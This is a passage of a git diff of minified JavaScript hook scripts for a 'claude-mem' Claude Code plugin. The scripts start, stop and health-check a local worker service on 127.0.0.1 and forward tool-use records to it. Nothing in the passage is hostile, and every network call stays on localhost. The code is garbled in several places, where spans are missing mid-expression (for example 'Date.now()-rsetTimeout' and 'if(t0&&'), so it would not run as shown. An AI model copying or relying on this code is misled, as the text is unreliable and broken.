d(n={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:o}=n,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return T(G,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),i=Math.floor(s/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function k(o={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=o,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} `;return a+=`To restart the worker: `,a+=`1. Exit Claude Code completely `,a+=`2. Run: claude-mem restart `,a+="3. Restart Claude Code",e&&(a+=` -If that doesn't work, try: /troubleshoot`),o&&(a=`Worker Error: ${o} +If that doesn't work, try: /troubleshoot`),n&&(a=`Worker Error: ${n} -${a}`),a}var G=C.join(ht(),".claude","plugins","marketplaces","thedotmack"),Y=L(T.HEALTH_CHECK),D=null;function m(){if(D!==null)return D;let n=C.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(n);return D=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),D}async function I(){try{let n=m();return(await fetch(`http://127.0.0.1:${n}/api/readiness`,{signal:AbortSignal.timeout(Y)})).ok}catch(n){return u.debug("SYSTEM","Worker readiness check failed",{error:n instanceof Error?n.message:String(n),errorType:n?.constructor?.name}),!1}}function Ct(){try{let n=C.join(G,"package.json");return JSON.parse(wt(n,"utf-8")).version}catch(n){return u.debug("SYSTEM","Failed to read plugin version",{error:n instanceof Error?n.message:String(n)}),null}}async function Mt(){try{let n=m(),t=await fetch(`http://127.0.0.1:${n}/api/version`,{signal:AbortSignal.timeout(Y)});return t.ok?(await t.json()).version:null}catch(n){return u.debug("SYSTEM","Failed to get worker version",{error:n instanceof Error?n.message:String(n)}),null}}async function j(){let n=Ct(),t=await Mt();!n||!t||n!==t&&(u.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:n,workerVersion:t}),await new Promise(e=>setTimeout(e,L(T.PRE_RESTART_SETTLE_DELAY))),await A.restart(m()),await new Promise(e=>setTimeout(e,1e3)),await I()||u.error("SYSTEM","Worker failed to restart after version mismatch",{expectedVersion:n,runningVersion:t,port:m()}))}async function Pt(){let n=l.get("CLAUDE_MEM_DATA_DIR"),t=C.join(n,".pm2-migrated");if(Dt(n,{recursive:!0}),!At(t))try{Ot("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),V(t,new Date().toISOString(),"utf-8"),u.debug("SYSTEM","PM2 cleanup completed and marked")}catch{V(t,new Date().toISOString(),"utf-8")}let e=m(),r=await A.start(e);return r.success||u.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:G}),r.success}async function X(){if(await I()){await j();return}if(!await Pt()){let e=m();throw new Error(d({port:e,customPrefix:`Worker service failed to start on port ${e}.`}))}for(let e=0;e<5;e++)if(await new Promise(r=>setTimeout(r,500)),await I()){await j();return}let t=m();throw u.error("SYSTEM","Worker started but not responding to health checks"),new Error(d({port:t,customPrefix:`Worker service started but is not responding on port ${t}.`}))}function J(n){throw n.cause?.code==="ECONNREFUSED"||n.code==="ConnectionRefused"||n.name==="TimeoutError"||n.message?.includes("fetch failed")||n.message?.includes("Unable to connect")?new Error(d()):n}function q(n,t,e){u.error("HOOK",`${e.operation} failed`,{status:n.status,...e},t);let r=e.toolName?`Failed ${e.operation} for ${e.toolName}: ${d()}`:`${e.operation} failed: ${d()}`;throw new Error(r)}async function Lt(n){if(await X(),!n)throw new Error("saveHook requires input");let{session_id:t,cwd:e,tool_name:r,tool_input:o,tool_response:s}=n,i=m(),a=u.formatTool(r,o);if(u.dataIn("HOOK",`PostToolUse: ${a}`,{workerPort:i}),!e)throw new Error(`Missing cwd in PostToolUse hook input for session ${t}, tool ${r}`);try{let c=await fetch(`http://127.0.0.1:${i}/api/sessions/observations`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,tool_name:r,tool_input:o,tool_response:s,cwd:e}),signal:AbortSignal.timeout(T.DEFAULT)});if(!c.ok){let p=await c.text();q(c,p,{hookName:"save",operation:"Observation storage",toolName:r,sessionId:t,port:i})}u.debug("HOOK","Observation sent successfully",{toolName:r})}catch(c){J(c)}console.log(U)}var v="";z.on("data",n=>v+=n);z.on("end",async()=>{let n=v?JSON.parse(v):void 0;await Lt(n)}); +${a}`),a}var B=A.join(dt(),".claude","plugins","marketplaces","thedotmack"),V=L(S.HEALTH_CHECK),D=null;function m(){if(D!==null)return D;let o=A.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(o);return D=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),D}async function I(){let o=m();return(await fetch(`http://127.0.0.1:${o}/api/readiness`,{signal:AbortSignal.timeout(V)})).ok}function Ot(){let o=A.join(B,"package.json");return JSON.parse(ht(o,"utf-8")).version}async function wt(){let o=m(),t=await fetch(`http://127.0.0.1:${o}/api/version`,{signal:AbortSignal.timeout(V)});if(!t.ok)throw new Error(`Failed to get worker version: ${t.status}`);return(await t.json()).version}async function j(){let o=Ot(),t=await wt();if(o!==t&&(u.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:o,workerVersion:t}),await new Promise(e=>setTimeout(e,L(S.PRE_RESTART_SETTLE_DELAY))),await O.restart(m()),await new Promise(e=>setTimeout(e,1e3)),!await I()))throw new Error(`Worker failed to restart after version mismatch. Expected ${o}, was running ${t}`)}async function Dt(){let o=l.get("CLAUDE_MEM_DATA_DIR"),t=A.join(o,".pm2-migrated");Tt(o,{recursive:!0}),_t(t)||(Et("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),St(t,new Date().toISOString(),"utf-8"),u.debug("SYSTEM","PM2 cleanup completed and marked"));let e=m(),r=await O.start(e);return r.success||u.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:B}),r.success}async function X(){let o=!1;try{o=await I()}catch{o=!1}if(o){await j();return}if(!await Dt()){let r=m();throw new Error(k({port:r,customPrefix:`Worker service failed to start on port ${r}.`}))}for(let r=0;r<5;r++){await new Promise(n=>setTimeout(n,500));try{if(await I()){await j();return}}catch{}}let e=m();throw u.error("SYSTEM","Worker started but not responding to health checks"),new Error(k({port:e,customPrefix:`Worker service started but is not responding on port ${e}.`}))}async function At(o){if(await X(),!o)throw new Error("saveHook requires input");let{session_id:t,cwd:e,tool_name:r,tool_input:n,tool_response:s}=o,i=m(),a=u.formatTool(r,n);if(u.dataIn("HOOK",`PostToolUse: ${a}`,{workerPort:i}),!e)throw new Error(`Missing cwd in PostToolUse hook input for session ${t}, tool ${r}`);let c=await fetch(`http://127.0.0.1:${i}/api/sessions/observations`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,tool_name:r,tool_input:n,tool_response:s,cwd:e}),signal:AbortSignal.timeout(S.DEFAULT)});if(!c.ok)throw new Error(`Observation storage failed: ${c.status}`);u.debug("HOOK","Observation sent successfully",{toolName:r}),console.log($)}var v="";Y.on("data",o=>v+=o);Y.on("end",async()=>{let o;try{o=v?JSON.parse(v):void 0}catch(t){throw new Error(`Failed to parse hook input: ${t instanceof Error?t.message:String(t)}`)}await At(o)}); diff --git a/plugin/scripts/summary-hook.js b/plugin/scripts/summary-hook.js index 42a11368..c5796a8d 100755 --- a/plugin/scripts/summary-hook.js +++ b/plugin/scripts/summary-hook.js @@ -1,32 +1,32 @@ #!/usr/bin/env bun -import{stdin as Q}from"process";var N=JSON.stringify({continue:!0,suppressOutput:!0});import{readFileSync as nt,writeFileSync as st,existsSync as ot}from"fs";import{join as it}from"path";import{homedir as at}from"os";var et=["bugfix","feature","refactor","discovery","decision","change"],rt=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var x=et.join(","),F=rt.join(",");var p=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:it(at(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:x,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:F,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!ot(t))return this.getAllDefaults();let e=nt(t,"utf-8"),r=JSON.parse(e),s=r;if(r.env&&typeof r.env=="object"){s=r.env;try{st(t,JSON.stringify(s,null,2),"utf-8"),c.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(i){c.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},i)}}let o={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))s[i]!==void 0&&(o[i]=s[i]);return o}catch(e){return c.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};var D=(o=>(o[o.DEBUG=0]="DEBUG",o[o.INFO=1]="INFO",o[o.WARN=2]="WARN",o[o.ERROR=3]="ERROR",o[o.SILENT=4]="SILENT",o))(D||{}),M=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=p.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=D[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} -${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;try{let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}catch{return t}}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),s=String(t.getDate()).padStart(2,"0"),o=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),u=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${s} ${o}:${i}:${a}.${u}`}log(t,e,r,s,o){if(t0&&(S=` {${Object.entries(U).map(([Z,tt])=>`${Z}=${tt}`).join(", ")}}`)}let _=`[${i}] [${a}] [${u}] ${l}${r}${S}${m}`;t===3?console.error(_):console.log(_)}debug(t,e,r,s){this.log(0,t,e,r,s)}info(t,e,r,s){this.log(1,t,e,r,s)}warn(t,e,r,s){this.log(2,t,e,r,s)}error(t,e,r,s){this.log(3,t,e,r,s)}dataIn(t,e,r,s){this.info(t,`\u2192 ${e}`,r,s)}dataOut(t,e,r,s){this.info(t,`\u2190 ${e}`,r,s)}success(t,e,r,s){this.info(t,`\u2713 ${e}`,r,s)}failure(t,e,r,s){this.error(t,`\u2717 ${e}`,r,s)}timing(t,e,r,s){this.info(t,`\u23F1 ${e}`,s,{duration:`${r}ms`})}happyPathError(t,e,r,s,o=""){let l=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),m=l?`${l[1].split("/").pop()}:${l[2]}`:"unknown",S={...r,location:m};return this.warn(t,`[HAPPY-PATH] ${e}`,S,s),o}},c=new M;import C from"path";import{homedir as Ot}from"os";import{spawnSync as At}from"child_process";import{existsSync as wt,writeFileSync as V,readFileSync as yt,mkdirSync as Ct}from"fs";var h={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function R(n){return process.platform==="win32"?Math.round(n*h.WINDOWS_MULTIPLIER):n}import{existsSync as b,readFileSync as mt,writeFileSync as dt,unlinkSync as Et,mkdirSync as j}from"fs";import{createWriteStream as St}from"fs";import{join as O}from"path";import{spawn as _t,spawnSync as ht}from"child_process";import{homedir as Tt}from"os";import{join as f,dirname as ct,basename as Yt}from"path";import{homedir as ut}from"os";import{fileURLToPath as lt}from"url";function pt(){return typeof __dirname<"u"?__dirname:ct(lt(import.meta.url))}var Qt=pt(),g=p.get("CLAUDE_MEM_DATA_DIR"),L=process.env.CLAUDE_CONFIG_DIR||f(ut(),".claude"),Zt=f(g,"archives"),te=f(g,"logs"),ee=f(g,"trash"),re=f(g,"backups"),ne=f(g,"settings.json"),se=f(g,"claude-mem.db"),oe=f(g,"vector-db"),ie=f(L,"settings.json"),ae=f(L,"commands"),ce=f(L,"CLAUDE.md");import{spawnSync as gt}from"child_process";import{existsSync as ft}from"fs";import{join as W}from"path";import{homedir as H}from"os";function P(){let n=process.platform==="win32";try{if(gt("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=n?[W(H(),".bun","bin","bun.exe")]:[W(H(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(ft(e))return e;return null}function K(){return P()!==null}var T=O(g,"worker.pid"),B=O(g,"logs"),k=O(Tt(),".claude","plugins","marketplaces","thedotmack"),A=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};j(B,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=O(k,"plugin","scripts",e);if(!b(r))return{success:!1,error:`Worker script not found at ${r}`};let s=this.getLogFilePath();return this.startWithBun(r,s,t)}static isBunAvailable(){return K()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let s=P();if(!s)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(s),a=this.escapePowerShellString(t),u=this.escapePowerShellString(k),l=this.escapePowerShellString(e),S=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${u}' -WindowStyle Hidden -RedirectStandardOutput '${l}' -RedirectStandardError '${l}.err' -PassThru | Select-Object -ExpandProperty Id`,_=ht("powershell",["-Command",S],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(_.status!==0)return{success:!1,error:`PowerShell spawn failed: ${_.stderr?.toString()||"unknown error"}`};let w=parseInt(_.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=_t(s,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:k}),a=St(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(o){return{success:!1,error:o instanceof Error?o.message:String(o)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:o}=await import("child_process");try{o(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=O(g,"settings.json"),e=p.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(p.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(s,100))}catch{return!0}return!1}static getPidInfo(){try{if(!b(T))return null;let t=mt(T,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:T}),null}}static writePidFile(t){j(g,{recursive:!0}),dt(T,JSON.stringify(t,null,2))}static removePidFile(){try{b(T)&&Et(T)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let s=Date.now(),o=process.platform==="win32",i=o?r*2:r;for(;Date.now()-s(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(M||{}),C=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=M[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} +${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${i}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(E=` {${Object.entries(U).map(([q,z])=>`${q}=${z}`).join(", ")}}`)}let S=`[${i}] [${a}] [${c}] ${u}${r}${E}${m}`;t===3?console.error(S):console.log(S)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let u=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),m=u?`${u[1].split("/").pop()}:${u[2]}`:"unknown",E={...r,location:m};return this.warn(t,`[HAPPY-PATH] ${e}`,E,n),s}},g=new C;import D from"path";import{homedir as Et}from"os";import{spawnSync as St}from"child_process";import{existsSync as _t,writeFileSync as ht,readFileSync as Tt,mkdirSync as Ot}from"fs";var _={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(o){return process.platform==="win32"?Math.round(o*_.WINDOWS_MULTIPLIER):o}import{existsSync as R,readFileSync as ut,writeFileSync as lt,unlinkSync as pt,mkdirSync as j}from"fs";import{createWriteStream as gt}from"fs";import{join as T}from"path";import{spawn as ft,spawnSync as mt}from"child_process";import{homedir as dt}from"os";import{join as f,dirname as nt,basename as jt}from"path";import{homedir as st}from"os";import{fileURLToPath as ot}from"url";function it(){return typeof __dirname<"u"?__dirname:nt(ot(import.meta.url))}var Yt=it(),p=l.get("CLAUDE_MEM_DATA_DIR"),y=process.env.CLAUDE_CONFIG_DIR||f(st(),".claude"),Jt=f(p,"archives"),qt=f(p,"logs"),zt=f(p,"trash"),Qt=f(p,"backups"),Zt=f(p,"modes"),te=f(p,"settings.json"),ee=f(p,"claude-mem.db"),re=f(p,"vector-db"),ne=f(y,"settings.json"),se=f(y,"commands"),oe=f(y,"CLAUDE.md");import{spawnSync as at}from"child_process";import{existsSync as ct}from"fs";import{join as W}from"path";import{homedir as H}from"os";function P(){let o=process.platform==="win32";try{if(at("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=o?[W(H(),".bun","bin","bun.exe")]:[W(H(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(ct(e))return e;return null}function K(){return P()!==null}var h=T(p,"worker.pid"),G=T(p,"logs"),b=T(dt(),".claude","plugins","marketplaces","thedotmack"),O=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};j(G,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=T(b,"plugin","scripts",e);if(!R(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return K()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=P();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(b),u=this.escapePowerShellString(e),E=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${u}' -RedirectStandardError '${u}.err' -PassThru | Select-Object -ExpandProperty Id`,S=mt("powershell",["-Command",E],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(S.status!==0)return{success:!1,error:`PowerShell spawn failed: ${S.stderr?.toString()||"unknown error"}`};let w=parseInt(S.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=ft(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:b}),a=gt(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=T(p,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!R(h))return null;let t=ut(h,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:h}),null}}static writePidFile(t){j(p,{recursive:!0}),lt(h,JSON.stringify(t,null,2))}static removePidFile(){try{R(h)&&pt(h)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-nsetTimeout(u,200))}return{success:!1,error:o?`Worker failed to start on Windows (readiness check timed out after ${i}ms) +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:"Process died during startup"};try{if((await fetch(`http://127.0.0.1:${e}/api/readiness`,{signal:AbortSignal.timeout(1e3)})).ok)return{success:!0,pid:t}}catch{}await new Promise(c=>setTimeout(c,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${i}ms) Troubleshooting: 1. Check Task Manager for zombie 'bun.exe' or 'node.exe' processes 2. Verify port ${e} is not in use: netstat -ano | findstr ${e} 3. Check worker logs in ~/.claude-mem/logs/ 4. See GitHub issues: #363, #367, #371, #373 -5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(s,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new 